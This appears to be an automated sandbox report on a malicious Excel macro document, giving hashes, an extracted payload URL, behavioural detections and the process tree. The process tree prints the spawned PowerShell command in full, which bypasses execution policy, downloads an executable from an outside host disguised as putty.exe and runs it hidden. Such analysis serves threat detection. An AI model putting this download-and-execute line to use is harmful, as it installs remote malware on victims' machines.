Analysis
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max time kernel
137s -
max time network
137s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
08-07-2020 07:45
Static task
static1
Behavioral task
behavioral1
Sample
Vouch_me.xlsm
Resource
win7
Behavioral task
behavioral2
Sample
Vouch_me.xlsm
Resource
win10v200430
General
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Target
Vouch_me.xlsm
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Size
48KB
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MD5
7d50d1522e40087223060bc413bcf35d
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SHA1
b1e708e5e73698623944736c81b86c6d58d230d4
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SHA256
3d2f4071f4039fc8d0fa05ecc9cbad6f350e028dbae28f059d6f40446e688a16
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SHA512
7cd7614be761191844f6506ee66d94cb4729ff3a7be33f96e2eba830fc1f079fa2897d5564f47349e227c233769acd6e5d30f43ffd4232207fd92e25905d7abe
Malware Config
Extracted
https://seedwellresources.xyz/uT5wiEYASje8CME.exe
Signatures
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3420 powershell.exe 3420 powershell.exe 3420 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
Processes:
EXCEL.EXEpid process 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE 1732 EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1732 EXCEL.EXE -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3420 1732 powershell.exe EXCEL.EXE -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
EXCEL.EXEdescription pid process target process PID 1732 wrote to memory of 3420 1732 EXCEL.EXE powershell.exe PID 1732 wrote to memory of 3420 1732 EXCEL.EXE powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3420 powershell.exe -
Blacklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 18 3420 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Vouch_me.xlsm"1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://seedwellresources.xyz/uT5wiEYASje8CME.exe',$env:Temp+'\putty.exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\putty.exe')2⤵
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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memory/3420-6-0x0000000000000000-mapping.dmp